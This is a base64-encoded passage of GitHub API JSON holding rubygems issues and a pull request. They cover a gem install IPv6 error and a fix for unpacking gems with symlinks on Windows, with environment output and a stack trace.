pdGh1Yi5jb20vdXNlcnMva2hvbGJla2ovc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9raG9sYmVrai9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9raG9sYmVrai9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tob2xiZWtqL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9raG9sYmVrai9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTIsImNyZWF0ZWRfYXQiOiIyMDE2LTA1LTI1VDEzOjUzOjI2WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAxLTEyVDE2OjMwOjE5WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJJ20gaGF2aW5nIGEgcHJvYmxlbS5cblxuTXkgY3VycmVudCBwcm9ibGVtIGlzIHRoYXQgb24gbXkgYnVpbGQgc2VydmVyLCB0cnlpbmcgdG8gaW5zdGFsbCBhIGdlbSBkaXJlY3RseSB3aXRoIGBnZW0gaW5zdGFsbCAuLi5gIGZhaWxzIHdpdGhcblxuYGBgXG5FUlJPUjogIFdoaWxlIGV4ZWN1dGluZyBnZW0gLi4uIChBcmd1bWVudEVycm9yKVxuICAgIElQdjYgYWRkcmVzcyBtdXN0IGJlIDE2IGJ5dGVzXG5gYGBcblxuSSd2ZSBzZWVuIGZyb20gc29tZSBvbGQgaXNzdWVzIHRoYXQgcHJldmlvdXNseSB0aGlzIGhhcyBiZWVuIGVpdGhlciBtYWdpY2FsbHkgc29sdmVkLCBvciBieSBtb25rZXktcGF0Y2hpbmcgcnVieWdlbXMgbGlrZSBzbzpcbmBcbnNlZCAtaSAncy9ob3N0ID0gdXJpLmhvc3QvaG9zdCA9IFwiaHR0cDpcXC9cXC9ydWJ5Z2Vtcy5vcmdcIi9nJyAvdXNyL2xpYi9ydWJ5LzIuMy4xL3J1YnlnZW1zL3JlbW90ZV9mZXRjaGVyLnJiYFxuXG5Ib3dldmVyLCBpdCBzZWVtcyBwcmV0dHkgbmFzdHkgYW5kIGZvcndhcmQgaW5jb21wYXRpYmxlIGFuZCBjcmF6eS4gSXMgaXQgcmVhbGx5IHRoZSBvbmx5IGZpeD9cblxuVGhpcyBpc3N1ZSBpcyByZWxhdGVkIHRvOlxuLSBbIF0gTmV0d29yayBwcm9ibGVtc1xuLSBbIF0gSW5zdGFsbGluZyBhIGxpYnJhcnlcbi0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XG4tIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXG4tIFsgXSBPdGhlclxuXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XG5cbmBgYFxuJCBnZW0gZW52IHZlcnNpb25cbjIuNi40XG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyNCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjI0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjI0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjI0IiwiaWQiOjE1NjU3NDE0MiwibnVtYmVyIjoxNjI0LCJ0aXRsZSI6IkZpeGVzICMxNjIzLiBVbnBhY2tpbmcgb2YgZ2VtcyB3aXRoIHN5bWxpbmtzIGJyb2tlbiBvbiB3aW5kb3dzIiwidXNlciI6eyJsb2dpbiI6ImVuZWJvIiwiaWQiOjE5ODE5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTgxOT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9lbmVibyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9lbmViby9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8vcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9lbmViby9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjksImNyZWF0ZWRfYXQiOiIyMDE2LTA1LTI0VDE4OjEzOjM5WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA1LTI1VDE0OjIzOjA2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNjI0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjI0IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjI0LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjI0LnBhdGNoIn0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxuXG4tLS1cbiMgVGFza3M6XG4tICBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbiAgRXhwbGFpbmVkIGluICMxNjIzIFxuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxuXG5BbGwgTVJJIFJ1YnkgdmVyc2lvbnMgYmVmb3JlIFJ1YnkgMi4zIGhhZCBubyBzeW1saW5rIHN1cHBvcnQuXG5KUnVieSBjdXJyZW50bHkgaGFzIG5vIHN5bWxpbmsgc3VwcG9ydCBvbiBhbnkgdmVyc2lvbiAoYWx0aG91Z2hcbml0IGlzIHBsYW5uZWQgaW4gYSBsYXRlciByZWxlYXNlIG9mIEpSdWJ5IDkuMS54LngpLlxuXG5UaGlzIGZpeCBqdXN0IGNhdGNoZXMgTm90SW1wbG1lbnRlZEVycm9yIGFuZCBpZ25vcmVzIGhhbmRsaW5nXG50aGUgc3ltbGluayBlbnRyeS4gIEkgYmVsaWV2ZSB0aGlzIGlzIHdoYXQgUnVieWdlbXMgZGlkIGJlZm9yZVxuc3ltbGluayBzdXBvcnQgd2FzIGFkZGVkLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjIzIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjMvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2MjMvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyMy9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTYyMyIsImlkIjoxNTY1Njg0MjQsIm51bWJlciI6MTYyMywidGl0bGUiOiJVbnBhY2tpbmcgb2YgZ2VtcyB3aXRoIHN5bWxpbmtzIGJyb2tlbiBvbiB3aW5kb3dzIiwidXNlciI6eyJsb2dpbiI6ImVuZWJvIiwiaWQiOjE5ODE5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTgxOT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9lbmVibyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9lbmViby9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VuZWJvL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8vcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9lbmViby9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZW5lYm8vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTcyODg1MSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGxhdGZvcm06JTIwd2luZG93cyIsIm5hbWUiOiJwbGF0Zm9ybTogd2luZG93cyIsImNvbG9yIjoiNTMxOWU3IiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjE0LCJjcmVhdGVkX2F0IjoiMjAxNi0wNS0yNFQxNzo0NzoyNVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wOC0xNlQxNDozNDo1OFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6Ik15IGN1cnJlbnQgcHJvYmxlbSBpcyB0aGF0IEZpbGUuc3ltbGluayBpcyBub3Qgc3VwcG9ydGVkIG9uIHdpbmRvd3MgYW5kIGV4dHJhY3RfdGFyX2d6IHVuY29uZGl0aW9uYWxseSBjYWxscyBpdC4gIFRoaXMgcHJvYmxlbSBhbHNvIG9jY3VycyBvbiBKUnVieSBhcyB3ZWxsIGF0IFJ1YnkgMi4yIChJIGhhdmUgbm90IGNoZWNrZWQgd2hldGhlciB0aGVyZSBoYXBwZW5zIHRvIGJlIHN5bWxpbmsgc3VwcG9ydCBpbiBhIG5ld2VyIHZlcnNpb24gb2YgTVJJKS5cblxuSlJ1YnkgdHJhY2tpbmcgaXNzdWUgb24gdGhpcyBpczogaHR0cHM6Ly9naXRodWIuY29tL2pydWJ5L2pydWJ5L2lzc3Vlcy8zOTA1LlxuXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XG4tIFsgXSBOZXR3b3JrIHByb2JsZW1zXG4tIFt4XSBJbnN0YWxsaW5nIGEgbGlicmFyeVxuLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcbi0gWyBdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcbi0gWyBdIE90aGVyXG5cbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcblxuYGBgXG4kIGdlbSBlbnYgdmVyc2lvblxufiA1MDglIC9jL1J1YnkyMi14NjQvYmluL3J1YnkgLVMgZ2VtIGVudlxuUnVieUdlbXMgRW52aXJvbm1lbnQ6XG4gIC0gUlVCWUdFTVMgVkVSU0lPTjogMi42LjRcbiAgLSBSVUJZIFZFUlNJT046IDIuMi4yICgyMDE1LTA0LTEzIHBhdGNobGV2ZWwgOTUpIFt4NjQtbWluZ3czMl1cbiAgLSBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L2dlbXMvMi4yLjBcbiAgLSBVU0VSIElOU1RBTExBVElPTiBESVJFQ1RPUlk6IEM6L1VzZXJzL2VuZWJvLy5nZW0vcnVieS8yLjIuMFxuICAtIFJVQlkgRVhFQ1VUQUJMRTogQzovUnVieTIyLXg2NC9iaW4vcnVieS5leGVcbiAgLSBFWEVDVVRBQkxFIERJUkVDVE9SWTogQzovUnVieTIyLXg2NC9iaW5cbiAgLSBTUEVDIENBQ0hFIERJUkVDVE9SWTogQzovVXNlcnMvZW5lYm8vLmdlbS9zcGVjc1xuICAtIFNZU1RFTSBDT05GSUdVUkFUSU9OIERJUkVDVE9SWTogQzovUHJvZ3JhbURhdGFcbiAgLSBSVUJZR0VNUyBQTEFURk9STVM6XG4gICAgLSBydWJ5XG4gICAgLSB4NjQtbWluZ3czMlxuICAtIEdFTSBQQVRIUzpcbiAgICAgLSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L2dlbXMvMi4yLjBcbiAgICAgLSBDOi9Vc2Vycy9lbmViby8uZ2VtL3J1YnkvMi4yLjBcbiAgLSBHRU0gQ09ORklHVVJBVElPTjpcbiAgICAgLSA6dXBkYXRlX3NvdXJjZXMgPT4gdHJ1ZVxuICAgICAtIDp2ZXJib3NlID0+IHRydWVcbiAgICAgLSA6YmFja3RyYWNlID0+IGZhbHNlXG4gICAgIC0gOmJ1bGtfdGhyZXNob2xkID0+IDEwMDBcbiAgLSBSRU1PVEUgU09VUkNFUzpcbiAgICAgLSBodHRwczovL3J1YnlnZW1zLm9yZy9cbiAgLSBTSEVMTCBQQVRIOlxuICAgICAtIEM6XFxVc2Vyc1xcZW5lYm9cXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXG1pbmd3NjRcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXHVzclxcbG9jYWxcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXHVzclxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFxjbWRcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcQ29uRW11XFxDb25FbXVcXFNjcmlwdHNcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcQ29uRW11XG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXENvbkVtdVxcQ29uRW11XG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEphdmFcXGpkazEuNy4wXzc5XFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcQU1EIEFQUFxcYmluXFx4ODZfNjRcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcQU1EIEFQUFxcYmluXFx4ODZcbiAgICAgLSBDOlxcV2luZG93c1xcc3lzdGVtMzJcbiAgICAgLSBDOlxcV2luZG93c1xuICAgICAtIEM6XFxXaW5kb3dzXFxTeXN0ZW0zMlxcV2JlbVxuICAgICAtIEM6XFxXaW5kb3dzXFxTeXN0ZW0zMlxcV2luZG93c1Bvd2VyU2hlbGxcXHYxLjBcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcQVRJIFRlY2hub2xvZ2llc1xcQVRJLkFDRVxcQ29yZS1TdGF0aWNcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcTWljcm9zb2Z0IFNRTCBTZXJ2ZXJcXDExMFxcVG9vbHNcXEJpbm5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcV0lEQ09NTVxcQmx1ZXRvb3RoIFNvZnR3YXJlXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXFdJRENPTU1cXEJsdWV0b290aCBTb2Z0d2FyZVxcc3lzd293NjRcbiAgICAgLSBDOlxcUHJvZ3JhbURhdGFcXGNob2NvbGF0ZXlcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXGNtZFxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxTa3lwZVxcUGhvbmVcbiAgICAgLSBDOlxcanJ1YnktOS4xLjEuMFxcYmluXG4gICAgIC0gQzpcXG9wdFxcbWF2ZW5cXGJpblxuICAgICAtIEM6XFxvcHRcXGFudFxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cXHZlbmRvcl9wZXJsXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cXGNvcmVfcGVybFxuICAgICAtIEM6XFxQcm9ncmFtXFwgRmlsZXNcXCBcXCh4ODZcXClcXFJ1c3RcXGJpblxuICAgICAtIEM6XFxvcHRcXHJ1c3RcXGNhcmdvXFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFx1c3JcXGJpblxuICAgICAtIENcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcSmF2YVxcamRrMS43LjBfNzlcXGJpblxuICAgICAtIEM6XFxVc2Vyc1xcZW5lYm9cXERldmVsb3BlclxcYmluXG4gICAgIC0gQzpcXFVzZXJzXFxlbmVib1xcb3B0XFxqYXlcXGJpblxuICAgICAtIEM6XFxVc2Vyc1xcZW5lYm9cXG9wdFxcamZsZXhcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXHVzclxcbG9jYWxcXGJpblxuYGBgXG5cbmBgYCB0ZXh0XG5+IDUwNiUgL2MvUnVieTIyLXg2NC9iaW4vcnVieSAtUyBnZW0gaW5zdGFsbCB3YXJibGVyXG5GZXRjaGluZzogcnVieXppcC0xLjIuMC5nZW0gKDEwMCUpXG5TdWNjZXNzZnVsbHkgaW5zdGFsbGVkIHJ1Ynl6aXAtMS4yLjBcbkZldGNoaW5nOiBqcnVieS1yYWNrLTEuMS4yMC5nZW0gKDEwMCUpXG5TdWNjZXNzZnVsbHkgaW5zdGFsbGVkIGpydWJ5LXJhY2stMS4xLjIwXG5GZXRjaGluZzoganJ1YnktamFycy05LjEuMS4wLmdlbSAoMTAwJSlcblN1Y2Nlc3NmdWxseSBpbnN0YWxsZWQganJ1YnktamFycy05LjEuMS4wXG5GZXRjaGluZzogd2FyYmxlci0yLjAuMS5nZW0gKDEwMCUpXG5DOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9wYWNrYWdlLnJiOjM4NjppbiBgc3ltbGluayc6IHN5bWxpbmsoKSBmdW5jdGlvbiBpcyB1bmltcGxlbWVudGVkIG9uIHRoaXMgbWFjaGluZSAoTm90SW1wbGVtZW50ZWRFcnJvcilcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9wYWNrYWdlLnJiOjM4NjppbiBgYmxvY2sgKDIgbGV2ZWxzKSBpbiBleHRyYWN0X3Rhcl9neidcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9wYWNrYWdlL3Rhcl9yZWFkZXIucmI6NjU6aW4gYGVhY2gnXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvcGFja2FnZS5yYjozNjM6aW4gYGJsb2NrIGluIGV4dHJhY3RfdGFyX2d6J1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UucmI6NDU3OmluIGBibG9jayBpbiBvcGVuX3Rhcl9neidcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9wYWNrYWdlLnJiOjQ1NDppbiBgd3JhcCdcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9wYWNrYWdlLnJiOjQ1NDppbiBgb3Blbl90YXJfZ3onXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvcGFja2FnZS5yYjozNjI6aW4gYGV4dHJhY3RfdGFyX2d6J1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UucmI6MzQzOmluIGBibG9jayAoMiBsZXZlbHMpIGluIGV4dHJhY3RfZmlsZXMnXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvcGFja2FnZS90YXJfcmVhZGVyLnJiOjY1OmluIGBlYWNoJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UucmI6MzQwOmluIGBibG9jayBpbiBleHRyYWN0X2ZpbGVzJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UvZmlsZV9zb3VyY2UucmI6MzA6aW4gYG9wZW4nXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvcGFja2FnZS9maWxlX3NvdXJjZS5yYjozMDppbiBgd2l0aF9yZWFkX2lvJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UucmI6MzM3OmluIGBleHRyYWN0X2ZpbGVzJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2luc3RhbGxlci5yYjo3NjY6aW4gYGV4dHJhY3RfZmlsZXMnXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvaW5zdGFsbGVyLnJiOjI5NjppbiBgaW5zdGFsbCdcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9yZXNvbHZlci9zcGVjaWZpY2F0aW9uLnJiOjk3OmluIGBpbnN0YWxsJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3JlcXVlc3Rfc2V0LnJiOjE2NjppbiBgYmxvY2sgaW4gaW5zdGFsbCdcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9yZXF1ZXN0X3NldC5yYjoxNTY6aW4gYGVhY2gnXG4gICAgICAgIGZyb20gQzovUnVieTIyLXg2NC9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvcmVxdWVzdF9zZXQucmI6MTU2OmluIGBpbnN0YWxsJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmRzL2luc3RhbGxfY29tbWFuZC5yYjoyMDU6aW4gYGluc3RhbGxfZ2VtJ1xuICAgICAgICBmcm9tIEM6L1J1YnkyMi14NjQvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmRzL2luc3RhbGxfY29tbWFuZC5yYjoyNTU6aW4gYGJsb2NrIGluIGluc3RhbGxfZ2VtcydcbiAgICAgICAgZnJvbSBDOi9SdWJ5MjIteDY0L2xpYi9ydWJ5